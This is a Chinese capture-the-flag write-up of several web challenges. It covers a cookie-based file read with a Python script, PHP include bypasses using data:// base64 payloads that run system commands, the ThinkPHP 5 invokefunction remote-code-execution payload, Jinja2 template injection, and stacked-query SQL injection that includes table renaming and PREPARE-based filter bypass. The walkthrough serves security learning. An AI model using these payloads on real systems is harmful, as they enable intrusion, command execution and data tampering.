一、bugku_web_cookie欺骗:https://ctf.bugku.com/challenges/detail/id/87.html
-
-
地址栏filename一看为base64,解密为keys.php -
尝试index.php加密为base64:aW5kZXgucGhw,读取一下,啥也没有 -
观察地址栏,将line赋值为1试试,发现是将index.php按行读取了 -
将index.php读取出来,读读取结果
#cookies欺骗
import requests
php=""
f=open("index.txt","w+")
for i in range(0,100,1):
url="http://114.67.175.224:14875/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
php=requests.get(url)
f.write(php.content)
f.close()
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# isset() 函数用于检测变量是否已设置并且非 NULL
#这是一个php的三元运算符 (条件) ? (值1):(值2);解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。
#这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];如果$_GET['id']没有被设置,则$id = '';
$line=isset($_GET['line'])?intval($_GET['line']):0;
#intval() 函数用于获取变量的整数值
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
#php header("location: $url")页面跳转
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
- 构造Cookie即可得到flag,注意此时读取的是keys.php
二、xctf_Web_php_include:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5415&page=1
- 发现是一个绕过问题:strstr(a,b)实现在a中寻找b,并返回b及b在a中以后的部分,不区分大小写;str_repalce(a,b,c)在c中寻找a,并将找到的部分替换成b,区分大小写。源代码将php://替换成空格,需要进行绕过
(1)利用函数是否区分大小写,利用php://input伪协议进行绕过,简单说就是获取post数据。 在查看器中找到flag (2)过滤了php://的伪协议,那就用data://text/plain,使用方法:data://text/plain;base64,xxxx。
<?php system("dir")?>
//base64编码后为PD9waHAgc3lzdGVtKCJkaXIiKT8+,但是浏览器不能识别+,需要进行url编码,编码后为
PD9waHAgc3lzdGVtKCJkaXIiKT8+
PD9waHAgc3lzdGVtKCJkaXIiKT8%2B
获取flag
<?php system("cat fl4gisisish3r3.php")?>
//编码后
http://111.200.241.244:62118/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看页面源代码获得flag 三、xctf_php_rce:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5412&page=1
- 打开题目
- 题目提示有远程执行漏洞,搜索thinkphp v5为php框架,存在远程代码执行漏洞,网上搜一下
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
- 执行一下结果为
- 证明可以执行,接着执行ls指令(在这个过程中有个插曲,就是用hackbar不能得到结果,每次都需要在地址栏把playload重新粘贴一便,执行完一次改想执行的指令就没结果了,还得重新粘一次,奇怪!但是执行完一次,等一会直接该命令是可以的)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
- 搜索flag的相关信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
2.
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
三、bugku_web:simple_SSTI(https://ctf.bugku.com/challenges/detail/id/196.html)
- 打开题目,只有这个提示,发送一个flag的参数,get尝试一下
- 传递flag是什么会显示在前端,post传递一下会报错。于是进行常规操作:右键查看源代码,F12看查看器
- 查一下flask是啥:Flask是一个轻量级的基于Python的web框架,jinjan2是Flask作者开发的一个模板系统,仿django模板的一个模板引擎,为Flask提供模板支持。根据题目提示是一个模板注入
- Jinjan2 基础语法分为三种:{% … %}、{{ … }}、{# … #}
- 尝试payload,页面显示6,注意这里不要用2+3
http://114.67.175.224:17207/?flag={{2*3}};
- 构建paylod
http://114.67.175.224:17207/?flag={{config}};
#http://114.67.175.224:17207/?flag={{config.SECRET_KEY}};
四、XCTF_web_supersql:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
-
sqlmap爆破,不成功,只扫出来数据库名称是supersqli?尝试手工注入 -
题目为suoersqli,明显为sql注入 -
输入1,1’结果如下,说明注入点格式为’1’ -
确认注入格式输入:1’ and 1=1#,由结果显示是对的 -
判断有几列:1' order by 2# 不出错,说明有两列 -
获取数据库名称:1' select 1,database()# ,提示进行了过滤,尝试一下能获得什么 -
堆叠查询,用分号分割语句查询1';show databases;# -
获取表1';show tables;# -
接下来有三种方法解决
- mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler table_name open 打开表格 handler tabel_name read first 读取表格第一行 handler tabel_name read next 依次读取其他行 注意MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号:show columns from 1919810931114514
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
- 有两个表格,页面默认查的是words表格?,把1919810931114514和words表格改一下名字,即可查询
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
- 使用mysql预处理语句,进行绕过:MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT,也就是预处理语句,字符拼接函数可以考虑用来绕过关键字检查
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
|